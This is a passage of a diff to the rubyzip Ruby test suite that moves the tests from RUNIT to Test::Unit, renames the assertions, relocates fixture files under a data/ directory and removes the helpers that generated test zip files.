assert_equal("aa/bb/", entry5.parent_as_string) + assert_equal("aa/bb/", entry6.parent_as_string) end def test_entry_name_cannot_start_with_slash - assert_exception(ZipEntryNameError) { ZipEntry.new("zf.zip", "/hej/der") } + assert_raise(ZipEntryNameError) { ZipEntry.new("zf.zip", "/hej/der") } end end @@ -176,7 +177,7 @@ module IOizeString end end -class ZipLocalEntryTest < RUNIT::TestCase +class ZipLocalEntryTest < Test::Unit::TestCase def test_read_local_entryHeaderOfFirstTestZipEntry File.open(TestZipFile::TEST_ZIP3.zip_name, "rb") { |file| @@ -197,18 +198,18 @@ class ZipLocalEntryTest < RUNIT::TestCase end def test_readDateTime - File.open("rubycode.zip", "rb") { + File.open("data/rubycode.zip", "rb") { |file| entry = ZipEntry.read_local_entry(file) - assert_equals("zippedruby1.rb", entry.name) - assert_equals(Time.at(1019261638), entry.time) + assert_equal("zippedruby1.rb", entry.name) + assert_equal(Time.at(1019261638), entry.time) } end def test_read_local_entryFromNonZipFile - File.open("file2.txt") { + File.open("data/file2.txt") { |file| - assert_equals(nil, ZipEntry.read_local_entry(file)) + assert_equal(nil, ZipEntry.read_local_entry(file)) } end @@ -234,18 +235,18 @@ class ZipLocalEntryTest < RUNIT::TestCase private def compare_local_entry_headers(entry1, entry2) - assert_equals(entry1.compressed_size , entry2.compressed_size) - assert_equals(entry1.crc , entry2.crc) - assert_equals(entry1.extra , entry2.extra) - assert_equals(entry1.compression_method, entry2.compression_method) - assert_equals(entry1.name , entry2.name) - assert_equals(entry1.size , entry2.size) - assert_equals(entry1.localHeaderOffset, entry2.localHeaderOffset) + assert_equal(entry1.compressed_size , entry2.compressed_size) + assert_equal(entry1.crc , entry2.crc) + assert_equal(entry1.extra , entry2.extra) + assert_equal(entry1.compression_method, entry2.compression_method) + assert_equal(entry1.name , entry2.name) + assert_equal(entry1.size , entry2.size) + assert_equal(entry1.localHeaderOffset, entry2.localHeaderOffset) end def compare_c_dir_entry_headers(entry1, entry2) compare_local_entry_headers(entry1, entry2) - assert_equals(entry1.comment, entry2.comment) + assert_equal(entry1.comment, entry2.comment) end def write_to_file(localFileName, centralFileName, entry) @@ -266,7 +267,7 @@ end module DecompressorTests # expects @refText, @refLines and @decompressor - TEST_FILE="file1.txt" + TEST_FILE="data/file1.txt" def setup @refText="" @@ -275,15 +276,15 @@ module DecompressorTests end def test_readEverything - assert_equals(@refText, @decompressor.read) + assert_equal(@refText, @decompressor.read) end def test_readInChunks chunkSize = 5 while (decompressedChunk = @decompressor.read(chunkSize)) - assert_equals(@refText.slice!(0, chunkSize), decompressedChunk) + assert_equal(@refText.slice!(0, chunkSize), decompressedChunk) end - assert_equals(0, @refText.size) + assert_equal(0, @refText.size) end def test_mixingReadsAndProduceInput @@ -292,20 +293,20 @@ module DecompressorTests assert(@refLines.length > 40) - assert_equals(@refText[0...100], @decompressor.read(100)) + assert_equal(@refText[0...100], @decompressor.read(100)) assert(! @decompressor.input_finished?) buf = @decompressor.produce_input - assert_equals(@refText[100...(100+buf.length)], buf) + assert_equal(@refText[100...(100+buf.length)], buf) end end -class InflaterTest < RUNIT::TestCase +class InflaterTest < Test::Unit::TestCase include DecompressorTests def setup super - @file = File.new("file1.txt.deflatedData", "rb") + @file = File.new("data/file1.txt.deflatedData", "rb") @decompressor = Inflater.new(@file) end @@ -315,7 +316,7 @@ class InflaterTest < RUNIT::TestCase end -class PassThruDecompressorTest < RUNIT::TestCase +class PassThruDecompressorTest < Test::Unit::TestCase include DecompressorTests def setup super @@ -335,7 +336,7 @@ module AssertEntry end def assert_entry(filename, zis, entryName) - assert_equals(filename, entryName) + assert_equal(filename, entryName) assert_entryContentsForStream(filename, zis, entryName) end @@ -350,7 +351,7 @@ module AssertEntry File.open(zipEntryFilename, "wb") { |file| file << actual } fail("File '#{filename}' is different from '#{zipEntryFilename}'") else - assert_equals(expected, actual) + assert_equal(expected, actual) end end } @@ -365,7 +366,7 @@ module AssertEntry File.open(stringFile, "wb") { |f| f << aString } fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") else - assert_equals(fileContents, aString) + assert_equal(fileContents, aString) end end end @@ -376,7 +377,7 @@ module AssertEntry |entryName| assert_next_entry(entryName, zis) } - assert_equals(nil, zis.get_next_entry) + assert_equal(nil, zis.get_next_entry) end def assert_test_zip_contents(testZipFile) @@ -396,7 +397,7 @@ end -class ZipInputStreamTest < RUNIT::TestCase +class ZipInputStreamTest < Test::Unit::TestCase include AssertEntry def test_new @@ -421,17 +422,17 @@ class ZipInputStreamTest < RUNIT::TestCase ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) { |zis| entry = zis.get_next_entry - assert_equals(TestZipFile::TEST_ZIP2.entry_names[0], entry.name) + assert_equal(TestZipFile::TEST_ZIP2.entry_names[0], entry.name) assert zis.gets.length > 0 entry = zis.get_next_entry - assert_equals(TestZipFile::TEST_ZIP2.entry_names[1], entry.name) - assert_equals(0, entry.size) - assert_equals(nil, zis.gets) + assert_equal(TestZipFile::TEST_ZIP2.entry_names[1], entry.name) + assert_equal(0, entry.size) + assert_equal(nil, zis.gets) entry = zis.get_next_entry - assert_equals(TestZipFile::TEST_ZIP2.entry_names[2], entry.name) + assert_equal(TestZipFile::TEST_ZIP2.entry_names[2], entry.name) assert zis.gets.length > 0 entry = zis.get_next_entry - assert_equals(TestZipFile::TEST_ZIP2.entry_names[3], entry.name) + assert_equal(TestZipFile::TEST_ZIP2.entry_names[3], entry.name) assert zis.gets.length > 0 } end @@ -440,7 +441,7 @@ class ZipInputStreamTest < RUNIT::TestCase ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) { |zis| e = zis.get_next_entry - assert_equals(TestZipFile::TEST_ZIP2.entry_names[0], e.name) + assert_equal(TestZipFile::TEST_ZIP2.entry_names[0], e.name) # Do a little reading buf = "" @@ -455,7 +456,7 @@ class ZipInputStreamTest < RUNIT::TestCase buf2 << (zis.gets || "") buf2 << (zis.gets || "") - assert_equals(buf, buf2) + assert_equal(buf, buf2) zis.rewind @@ -465,145 +466,6 @@ class ZipInputStreamTest < RUNIT::TestCase end -class TestFiles - RANDOM_ASCII_FILE1 = "randomAscii1.txt" - RANDOM_ASCII_FILE2 = "randomAscii2.txt" - RANDOM_ASCII_FILE3 = "randomAscii3.txt" - RANDOM_BINARY_FILE1 = "randomBinary1.bin" - RANDOM_BINARY_FILE2 = "randomBinary2.bin" - - EMPTY_TEST_DIR = "emptytestdir" - - ASCII_TEST_FILES = [ RANDOM_ASCII_FILE1, RANDOM_ASCII_FILE2, RANDOM_ASCII_FILE3 ] - BINARY_TEST_FILES = [ RANDOM_BINARY_FILE1, RANDOM_BINARY_FILE2 ] - TEST_DIRECTORIES = [ EMPTY_TEST_DIR ] - TEST_FILES = [ ASCII_TEST_FILES, BINARY_TEST_FILES, EMPTY_TEST_DIR ].flatten! - - def TestFiles.create_test_files(recreate) - if (recreate || - ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) - - ASCII_TEST_FILES.each_with_index { - |filename, index| - create_random_ascii(filename, 1E4 * (index+1)) - } - - BINARY_TEST_FILES.each_with_index { - |filename, index| - create_random_binary(filename, 1E4 * (index+1)) - } - - ensure_dir(EMPTY_TEST_DIR) - end - end - - private - def TestFiles.create_random_ascii(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand - end - } - end - - def TestFiles.create_random_binary(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << [rand].pack("V") - end - } - end - - def TestFiles.ensure_dir(name) - if File.exists?(name) - return if File.stat(name).directory? - File.delete(name) - end - Dir.mkdir(name) - end - -end - -# For representation and creation of -# test data -class TestZipFile - attr_accessor :zip_name, :entry_names, :comment - - def initialize(zip_name, entry_names, comment = "") - @zip_name=zip_name - @entry_names=entry_names - @comment = comment - end - - def TestZipFile.create_test_zips(recreate) - files = Dir.entries(".") - if (recreate || - ! (files.index(TEST_ZIP1.zip_name) && - files.index(TEST_ZIP2.zip_name) && - files.index(TEST_ZIP3.zip_name) && - files.index(TEST_ZIP4.zip_name) && - files.index("empty.txt") && - files.index("short.txt") && - files.index("longAscii.txt") && - files.index("longBinary.bin") )) - raise "failed to create test zip '#{TEST_ZIP1.zip_name}'" unless - system("zip #{TEST_ZIP1.zip_name} file2.txt") - raise "failed to remove entry from '#{TEST_ZIP1.zip_name}'" unless - system("zip #{TEST_ZIP1.zip_name} -d file2.txt") - - File.open("empty.txt", "w") {} - - File.open("short.txt", "w") { |file| file << "ABCDEF" } - ziptestTxt="" - File.open("file2.txt") { |file| ziptestTxt=file.read } - File.open("longAscii.txt", "w") { - |file| - while (file.tell < 1E5) - file << ziptestTxt - end - } - - testBinaryPattern="" - File.open("empty.zip") { |file| testBinaryPattern=file.read } - testBinaryPattern *= 4 - - File.open("longBinary.bin", "wb") { - |file| - while (file.tell < 3E5) - file << testBinaryPattern << rand - end - } - raise "failed to create test zip '#{TEST_ZIP2.zip_name}'" unless - system("zip #{TEST_ZIP2.zip_name} #{TEST_ZIP2.entry_names.join(' ')}") - - # without bash system interprets everything after echo as parameters to - # echo including | zip -z ... - raise "failed to add comment to test zip '#{TEST_ZIP2.zip_name}'" unless - system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zip_name}\"") - - raise "failed to create test zip '#{TEST_ZIP3.zip_name}'" unless - system("zip #{TEST_ZIP3.zip_name} #{TEST_ZIP3.entry_names.join(' ')}") - - raise "failed to create test zip '#{TEST_ZIP4.zip_name}'" unless - system("zip #{TEST_ZIP4.zip_name} #{TEST_ZIP4.entry_names.join(' ')}") - end - rescue - raise $!.to_s + - "\n\nziptest.rb requires the Info-ZIP program 'zip' in the path\n" + - "to create test data. If you don't have it you can download\n" + - "the necessary test files at http://sf.net/projects/rubyzip." - end - - TEST_ZIP1 = TestZipFile.new("empty.zip", []) - TEST_ZIP2 = TestZipFile.new("4entry.zip", %w{ longAscii.txt empty.txt short.txt longBinary.bin}, - "my zip comment") - TEST_ZIP3 = TestZipFile.new("test1.zip", %w{ file1.txt }) - TEST_ZIP4 = TestZipFile.new("zipWithDir.zip", [ "file1.txt", - TestFiles::EMPTY_TEST_DIR]) -end - module CrcTest @@ -628,13 +490,13 @@ module CrcTest deflater = compressorClass.new(fakeOut) deflater << str - assert_equals(0x919920fc, deflater.crc) + assert_equal(0x919920fc, deflater.crc) end end -class PassThruCompressorTest < RUNIT::TestCase +class PassThruCompressorTest < Test::Unit::TestCase include CrcTest def test_size @@ -642,20 +504,20 @@ class PassThruCompressorTest < RUNIT::TestCase |file| compressor = PassThruCompressor.new(file) - assert_equals(0, compressor.size) + assert_equal(0, compressor.size) t1 = "hello world" t2 = "" t3 = "bingo" compressor << t1 - assert_equals(compressor.size, t1.size) + assert_equal(compressor.size, t1.size) compressor << t2 - assert_equals(compressor.size, t1.size + t2.size) + assert_equal(compressor.size, t1.size + t2.size) compressor << t3 - assert_equals(compressor.size, t1.size + t2.size + t3.size) + assert_equal(compressor.size, t1.size + t2.size + t3.size) } end @@ -664,14 +526,14 @@ class PassThruCompressorTest < RUNIT::TestCase end end -class DeflaterTest < RUNIT::TestCase +class DeflaterTest < Test::Unit::TestCase include CrcTest def test_outputOperator - txt = load_file("file2.txt") + txt = load_file("data/file2.txt") deflate(txt, "deflatertest.bin") inflatedTxt = inflate("deflatertest.bin") - assert_equals(txt, inflatedTxt) + assert_equal(txt, inflatedTxt) end private @@ -686,7 +548,7 @@ class DeflaterTest < RUNIT::TestCase deflater = Deflater.new(file) deflater << data deflater.finish - assert_equals(deflater.size, data.size) + assert_equal(deflater.size, data.size) file << "trailing data for zlib with -MAX_WBITS" } end @@ -705,7 +567,7 @@ class DeflaterTest < RUNIT::TestCase end end -class ZipOutputStreamTest < RUNIT::TestCase +class ZipOutputStreamTest < Test::Unit::TestCase include AssertEntry TEST_ZIP = TestZipFile::TEST_ZIP2.clone @@ -747,7 +609,7 @@ class ZipOutputStreamTest < RUNIT::TestCase end def assert_i_o_error_in_closed_stream - assert_exception(IOError) { + assert_raise(IOError) { zos = ZipOutputStream.new("test_putOnClosedStream.zip") zos.close yield zos @@ -778,46 +640,46 @@ module Enumerable end -class ZipCentralDirectoryEntryTest < RUNIT::TestCase +class ZipCentralDirectoryEntryTest < Test::Unit::TestCase def test_read_from_stream - File.open("testDirectory.bin", "rb") { + File.open("data/testDirectory.bin", "rb") { |file| entry = ZipEntry.read_c_dir_entry(file) - assert_equals("longAscii.txt", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compression_method) - assert_equals(106490, entry.size) - assert_equals(3784, entry.compressed_size) - assert_equals(0xfcd1799c, entry.crc) - assert_equals("", entry.comment) + assert_equal("longAscii.txt", entry.name) + assert_equal(ZipEntry::DEFLATED, entry.compression_method) + assert_equal(106490, entry.size) + assert_equal(3784, entry.compressed_size) + assert_equal(0xfcd1799c, entry.crc) + assert_equal("", entry.comment) entry = ZipEntry.read_c_dir_entry(file) - assert_equals("empty.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compression_method) - assert_equals(0, entry.size) - assert_equals(0, entry.compressed_size) - assert_equals(0x0, entry.crc) - assert_equals("", entry.comment) + assert_equal("empty.txt", entry.name) + assert_equal(ZipEntry::STORED, entry.compression_method) + assert_equal(0, entry.size) + assert_equal(0, entry.compressed_size) + assert_equal(0x0, entry.crc) + assert_equal("", entry.comment) entry = ZipEntry.read_c_dir_entry(file) - assert_equals("short.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compression_method) - assert_equals(6, entry.size) - assert_equals(6, entry.compressed_size) - assert_equals(0xbb76fe69, entry.crc) - assert_equals("", entry.comment) + assert_equal("short.txt", entry.name) + assert_equal(ZipEntry::STORED, entry.compression_method) + assert_equal(6, entry.size) + assert_equal(6, entry.compressed_size) + assert_equal(0xbb76fe69, entry.crc) + assert_equal("", entry.comment) entry = ZipEntry.read_c_dir_entry(file) - assert_equals("longBinary.bin", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compression_method) - assert_equals(1000024, entry.size) - assert_equals(70847, entry.compressed_size) - assert_equals(0x10da7d59, entry.crc) - assert_equals("", entry.comment) + assert_equal("longBinary.bin", entry.name) + assert_equal(ZipEntry::DEFLATED, entry.compression_method) + assert_equal(1000024, entry.size) + assert_equal(70847, entry.compressed_size) + assert_equal(0x10da7d59, entry.crc) + assert_equal("", entry.comment) entry = ZipEntry.read_c_dir_entry(file) - assert_equals(nil, entry) + assert_equal(nil, entry) # Fields that are not check by this test: # version made by 2 bytes # version needed to extract 2 bytes @@ -840,7 +702,7 @@ class ZipCentralDirectoryEntryTest < RUNIT::TestCase def test_ReadEntryFromTruncatedZipFile fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read(12) } # cdir entry header is at least 46 bytes + File.open("data/testDirectory.bin") { |f| fragment = f.read(12) } # cdir entry header is at least 46 bytes fragment.extend(IOizeString) entry = ZipEntry.new entry.read_c_dir_entry(fragment) @@ -851,7 +713,7 @@ class ZipCentralDirectoryEntryTest < RUNIT::TestCase end -class ZipEntrySetTest < RUNIT::TestCase +class ZipEntrySetTest < Test::Unit::TestCase ZIP_ENTRIES = [ ZipEntry.new("zipfile.zip", "name1", "comment1"), ZipEntry.new("zipfile.zip", "name2", "comment1"), @@ -871,10 +733,10 @@ class ZipEntrySetTest < RUNIT::TestCase end def test_size - assert_equals(ZIP_ENTRIES.size, @zipEntrySet.size) - assert_equals(ZIP_ENTRIES.size, @zipEntrySet.length) + assert_equal(ZIP_ENTRIES.size, @zipEntrySet.size) + assert_equal(ZIP_ENTRIES.size, @zipEntrySet.length) @zipEntrySet << ZipEntry.new("a", "b", "c") - assert_equals(ZIP_ENTRIES.size + 1, @zipEntrySet.length) + assert_equal(ZIP_ENTRIES.size + 1, @zipEntrySet.length) end def test_add @@ -888,13 +750,13 @@ class ZipEntrySetTest < RUNIT::TestCase end def test_delete - assert_equals(ZIP_ENTRIES.size, @zipEntrySet.size) + assert_equal(ZIP_ENTRIES.size, @zipEntrySet.size) entry = @zipEntrySet.delete(ZIP_ENTRIES.first) - assert_equals(ZIP_ENTRIES.size - 1, @zipEntrySet.size) - assert_equals(ZIP_ENTRIES.first, entry) + assert_equal(ZIP_ENTRIES.size - 1, @zipEntrySet.size) + assert_equal(ZIP_ENTRIES.first, entry) entry = @zipEntrySet.delete(ZIP_ENTRIES.first) - assert_equals(ZIP_ENTRIES.size - 1, @zipEntrySet.size) + assert_equal(ZIP_ENTRIES.size - 1, @zipEntrySet.size) assert_nil(entry) end @@ -906,27 +768,27 @@ class ZipEntrySetTest < RUNIT::TestCase assert(ZIP_ENTRIES.include?(entry)) count = count.succ } - assert_equals(ZIP_ENTRIES.size, count) + assert_equal(ZIP_ENTRIES.size, count) end def test_entries - assert_equals(ZIP_ENTRIES.sort, @zipEntrySet.entries.sort) + assert_equal(ZIP_ENTRIES.sort, @zipEntrySet.entries.sort) end def test_compound newEntry = ZipEntry.new("zf.zip", "new entry", "new entry's comment") - assert_equals(ZIP_ENTRIES.size, @zipEntrySet.size) + assert_equal(ZIP_ENTRIES.size, @zipEntrySet.size) @zipEntrySet << newEntry - assert_equals(ZIP_ENTRIES.size + 1, @zipEntrySet.size) + assert_equal(ZIP_ENTRIES.size + 1, @zipEntrySet.size) assert(@zipEntrySet.include?(newEntry)) @zipEntrySet.delete(newEntry) - assert_equals(ZIP_ENTRIES.size, @zipEntrySet.size) + assert_equal(ZIP_ENTRIES.size, @zipEntrySet.size) end def test_dup copy = @zipEntrySet.dup - assert_equals(@zipEntrySet, copy) + assert_equal(@zipEntrySet, copy) # demonstrate that this is a deep copy copy.entries[0].name = "a totally different name" @@ -944,34 +806,34 @@ class ZipEntrySetTest < RUNIT::TestCase ] entrySet = ZipEntrySet.new(entries) - assert_equals(nil, entrySet.parent(entries[0])) - assert_equals(nil, entrySet.parent(entries[1])) - assert_equals(entries[1], entrySet.parent(entries[2])) - assert_equals(entries[1], entrySet.parent(entries[3])) - assert_equals(entries[3], entrySet.parent(entries[4])) - assert_equals(entries[3], entrySet.parent(entries[5])) + assert_equal(nil, entrySet.parent(entries[0])) + assert_equal(nil, entrySet.parent(entries[1])) + assert_equal(entries[1], entrySet.parent(entries[2])) + assert_equal(entries[1], entrySet.parent(entries[3])) + assert_equal(entries[3], entrySet.parent(entries[4])) + assert_equal(entries[3], entrySet.parent(entries[5])) end end -class ZipCentralDirectoryTest < RUNIT::TestCase +class ZipCentralDirectoryTest < Test::Unit::TestCase def test_read_from_stream File.open(TestZipFile::TEST_ZIP2.zip_name, "rb") { |zipFile| cdir = ZipCentralDirectory.read_from_stream(zipFile) - assert_equals(TestZipFile::TEST_ZIP2.entry_names.size, cdir.size) + assert_equal(TestZipFile::TEST_ZIP2.entry_names.size, cdir.size) assert(cdir.entries.sort.compare_enumerables(TestZipFile::TEST_ZIP2.entry_names.sort) { |cdirEntry, testEntryName| cdirEntry.name == testEntryName }) - assert_equals(TestZipFile::TEST_ZIP2.comment, cdir.comment) + assert_equal(TestZipFile::TEST_ZIP2.comment, cdir.comment) } end def test_readFromInvalidStream - File.open("file2.txt", "rb") { + File.open("data/file2.txt", "rb") { |zipFile| cdir = ZipCentralDirectory.new cdir.read_from_stream(zipFile) @@ -982,7 +844,7 @@ class ZipCentralDirectoryTest < RUNIT::TestCase def test_ReadFromTruncatedZipFile fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read } + File.open("data/testDirectory.bin") { |f| fragment = f.read } fragment.slice!(12) # removed part of first cdir entry. eocd structure still complete fragment.extend(IOizeString) entry = ZipCentralDirectory.new @@ -1000,7 +862,7 @@ class ZipCentralDirectoryTest < RUNIT::TestCase cdirReadback = ZipCentralDirectory.new File.open("cdirtest.bin", "rb") { |f| cdirReadback.read_from_stream(f) } - assert_equals(cdir.entries.sort, cdirReadback.entries.sort) + assert_equal(cdir.entries.sort, cdirReadback.entries.sort) end def test_equality @@ -1023,8 +885,8 @@ class ZipCentralDirectoryTest < RUNIT::TestCase "somethingExtra"), ZipEntry.new("file.zip", "lastEntry.txt") ], "comment?") - assert_equals(cdir1, cdir1) - assert_equals(cdir1, cdir2) + assert_equal(cdir1, cdir1) + assert_equal(cdir1, cdir2) assert(cdir1 != cdir3) assert(cdir2 != cdir3) @@ -1036,7 +898,7 @@ class ZipCentralDirectoryTest < RUNIT::TestCase end -class BasicZipFileTest < RUNIT::TestCase +class BasicZipFileTest < Test::Unit::TestCase include AssertEntry def setup @@ -1045,7 +907,7 @@ class BasicZipFileTest < RUNIT::TestCase end def test_entries - assert_equals(TestZipFile::TEST_ZIP2.entry_names.sort, + assert_equal(TestZipFile::TEST_ZIP2.entry_names.sort, @zipFile.entries.entries.sort.map {|e| e.name} ) end @@ -1059,7 +921,7 @@ class BasicZipFileTest < RUNIT::TestCase visited[entry.name] = nil count = count.succ } - assert_equals(TestZipFile::TEST_ZIP2.entry_names.length, count) + assert_equal(TestZipFile::TEST_ZIP2.entry_names.length, count) end def test_foreach @@ -1072,7 +934,7 @@ class BasicZipFileTest < RUNIT::TestCase visited[entry.name] = nil count = count.succ } - assert_equals(TestZipFile::TEST_ZIP2.entry_names.length, count) + assert_equal(TestZipFile::TEST_ZIP2.entry_names.length, count) end def test_get_input_stream @@ -1085,7 +947,7 @@ class BasicZipFileTest < RUNIT::TestCase visited[entry.name] = nil count = count.succ } - assert_equals(TestZipFile::TEST_ZIP2.entry_names.length, count) + assert_equal(TestZipFile::TEST_ZIP2.entry_names.length, count) end def test_get_input_streamBlock @@ -1099,7 +961,7 @@ class BasicZipFileTest < RUNIT::TestCase end end -class CommonZipFileFixture < RUNIT::TestCase +module CommonZipFileFixture include AssertEntry EMPTY_FILENAME = "emptyZipFile.zip" @@ -1113,7 +975,8 @@ class CommonZipFileFixture < RUNIT::TestCase end end -class ZipFileTest < CommonZipFileFixture +class ZipFileTest < Test::Unit::TestCase + include CommonZipFileFixture def test_createFromScratch comment = "a short comment" @@ -1125,8 +988,8 @@ class ZipFileTest < CommonZipFileFixture zf.close zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals(comment, zfRead.comment) - assert_equals(2, zfRead.entries.length) + assert_equal(comment, zfRead.comment) + assert_equal(2, zfRead.entries.length) end def test_get_output_stream @@ -1138,28 +1001,28 @@ class ZipFileTest < CommonZipFileFixture |os| os.write "Putting stuff in newEntry.txt" } - assert_equals(entryCount+1, zf.size) - assert_equals("Putting stuff in newEntry.txt", zf.read("newEntry.txt")) + assert_equal(entryCount+1, zf.size) + assert_equal("Putting stuff in newEntry.txt", zf.read("newEntry.txt")) - zf.get_output_stream(zf.get_entry('empty.txt')) { + zf.get_output_stream(zf.get_entry('data/generated/empty.txt')) { |os| - os.write "Putting stuff in empty.txt" + os.write "Putting stuff in data/generated/empty.txt" } - assert_equals(entryCount+1, zf.size) - assert_equals("Putting stuff in empty.txt", zf.read("empty.txt")) + assert_equal(entryCount+1, zf.size) + assert_equal("Putting stuff in data/generated/empty.txt", zf.read("data/generated/empty.txt")) } ZipFile.open(TEST_ZIP.zip_name) { |zf| - assert_equals(entryCount+1, zf.size) - assert_equals("Putting stuff in newEntry.txt", zf.read("newEntry.txt")) - assert_equals("Putting stuff in empty.txt", zf.read("empty.txt")) + assert_equal(entryCount+1, zf.size) + assert_equal("Putting stuff in newEntry.txt", zf.read("newEntry.txt")) + assert_equal("Putting stuff in data/generated/empty.txt", zf.read("data/generated/empty.txt")) } end def test_add - srcFile = "file2.txt" + srcFile = "data/file2.txt" entryName = "newEntryName.rb" assert(File.exists?(srcFile)) zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) @@ -1167,18 +1030,18 @@ class ZipFileTest < CommonZipFileFixture zf.close zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals("", zfRead.comment) - assert_equals(1, zfRead.entries.length) - assert_equals(entryName, zfRead.entries.first.name) + assert_equal("", zfRead.comment) + assert_equal(1, zfRead.entries.length) + assert_equal(entryName, zfRead.entries.first.name) AssertEntry.assert_contents(srcFile, zfRead.get_input_stream(entryName) { |zis| zis.read }) end def test_addExistingEntryName - assert_exception(ZipEntryExistsError) { + assert_raise(ZipEntryExistsError) { ZipFile.open(TEST_ZIP.zip_name) { |zf| - zf.add(zf.entries.first.name, "file2.txt") + zf.add(zf.entries.first.name, "data/file2.txt") } } end @@ -1189,12 +1052,12 @@ class ZipFileTest < CommonZipFileFixture ZipFile.open(TEST_ZIP.zip_name) { |zf| replacedEntry = zf.entries.first.name - zf.add(replacedEntry, "file2.txt") { gotCalled = true; true } + zf.add(replacedEntry, "data/file2.txt") { gotCalled = true; true } } assert(gotCalled) ZipFile.open(TEST_ZIP.zip_name) { |zf| - assert_contains(zf, replacedEntry, "file2.txt") + assert_contains(zf, replacedEntry, "data/file2.txt") } end @@ -1219,12 +1082,12 @@ class ZipFileTest < CommonZipFileFixture assert(zf.entries.map { |e| e.name }.include?(entryToRemove)) zf.remove(entryToRemove) assert(! zf.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zf.entries.map {|x| x.name }.sort, remainingEntries.sort) + assert_equal(zf.entries.map {|x| x.name }.sort, remainingEntries.sort) zf.close zfRead = ZipFile.new(TEST_ZIP.zip_name) assert(! zfRead.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zfRead.entries.map {|x| x.name }.sort, remainingEntries.sort) + assert_equal(zfRead.entries.map {|x| x.name }.sort, remainingEntries.sort) zfRead.close end @@ -1252,7 +1115,7 @@ class ZipFileTest < CommonZipFileFixture oldEntries = nil ZipFile.open(TEST_ZIP.zip_name) { |zf| oldEntries = zf.entries } - assert_exception(ZipEntryExistsError) { + assert_raise(ZipEntryExistsError) { ZipFile.open(TEST_ZIP.zip_name) { |zf| zf.rename(zf.entries[0], zf.entries[1].name) @@ -1261,7 +1124,7 @@ class ZipFileTest < CommonZipFileFixture ZipFile.open(TEST_ZIP.zip_name) { |zf| - assert_equals(oldEntries.sort.map{ |e| e.name }, zf.entries.sort.map{ |e| e.name }) + assert_equal(oldEntries.sort.map{ |e| e.name }, zf.entries.sort.map{ |e| e.name }) } end @@ -1281,7 +1144,7 @@ class ZipFileTest < CommonZipFileFixture oldEntries.delete_if { |e| e.name == renamedEntryName } ZipFile.open(TEST_ZIP.zip_name) { |zf| - assert_equals(oldEntries.sort.map{ |e| e.name }, + assert_equal(oldEntries.sort.map{ |e| e.name }, zf.entries.sort.map{ |e| e.name }) } end @@ -1291,7 +1154,7 @@ class ZipFileTest < CommonZipFileFixture target_entry = "target_entryName" zf = ZipFile.new(TEST_ZIP.zip_name) assert(! zf.entries.include?(nonEntry)) - assert_exception(Errno::ENOENT) { + assert_raise(Errno::ENOENT) { zf.rename(nonEntry, target_entry) } zf.commit @@ -1303,7 +1166,7 @@ class ZipFileTest < CommonZipFileFixture def test_renameEntryToExistingEntry entry1, entry2, *remaining = TEST_ZIP.entry_names zf = ZipFile.new(TEST_ZIP.zip_name) - assert_exception(ZipEntryExistsError) { + assert_raise(ZipEntryExistsError) { zf.rename(entry1, entry2) } ensure @@ -1312,7 +1175,7 @@ class ZipFileTest < CommonZipFileFixture def test_replace entryToReplace = TEST_ZIP.entry_names[2] - newEntrySrcFilename = "file2.txt" + newEntrySrcFilename = "data/file2.txt" zf = ZipFile.new(TEST_ZIP.zip_name) zf.replace(entryToReplace, newEntrySrcFilename) @@ -1333,8 +1196,8 @@ class ZipFileTest < CommonZipFileFixture entryToReplace = "nonExistingEntryname" ZipFile.open(TEST_ZIP.zip_name) { |zf| - assert_exception(Errno::ENOENT) { - zf.replace(entryToReplace, "file2.txt") + assert_raise(Errno::ENOENT) { + zf.replace(entryToReplace, "data/file2.txt") } } end @@ -1370,7 +1233,7 @@ class ZipFileTest < CommonZipFileFixture # def test_close # zf = ZipFile.new(TEST_ZIP.zip_name) # zf.close -# assert_exception(IOError) { +# assert_raise(IOError) { # zf.extract(TEST_ZIP.entry_names.first, "hullubullu") # } # end @@ -1434,7 +1297,7 @@ class ZipFileTest < CommonZipFileFixture zf.add(filename, filename) assert_contains(zf, filename) } - assert_equals(zf.entries.sort.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) + assert_equal(zf.entries.sort.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) zf.rename(TestFiles::ASCII_TEST_FILES[0], "newName") assert_not_contains(zf, TestFiles::ASCII_TEST_FILES[0]) @@ -1468,7 +1331,8 @@ class ZipFileTest < CommonZipFileFixture end end -class ZipFileExtractTest < CommonZipFileFixture +class ZipFileExtractTest < Test::Unit::TestCase + include CommonZipFileFixture EXTRACTED_FILENAME = "extEntry" ENTRY_TO_EXTRACT, *REMAINING_ENTRIES = TEST_ZIP.entry_names.reverse @@ -1492,7 +1356,7 @@ class ZipFileExtractTest < CommonZipFileFixture writtenText = "written text" File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - assert_exception(ZipDestinationFileExistsError) { + assert_raise(ZipDestinationFileExistsError) { ZipFile.open(TEST_ZIP.zip_name) { |zf| zf.extract(zf.entries.first, EXTRACTED_FILENAME) @@ -1500,7 +1364,7 @@ class ZipFileExtractTest < CommonZipFileFixture } File.open(EXTRACTED_FILENAME, "r") { |f| - assert_equals(writtenText, f.read) + assert_equal(writtenText, f.read) } end @@ -1528,14 +1392,14 @@ class ZipFileExtractTest < CommonZipFileFixture def test_extractNonEntry zf = ZipFile.new(TEST_ZIP.zip_name) - assert_exception(Errno::ENOENT) { zf.extract("nonExistingEntry", "nonExistingEntry") } + assert_raise(Errno::ENOENT) { zf.extract("nonExistingEntry", "nonExistingEntry") } ensure zf.close if zf end def test_extractNonEntry2 outFile = "outfile" - assert_exception(Errno::ENOENT) { + assert_raise(Errno::ENOENT) { zf = 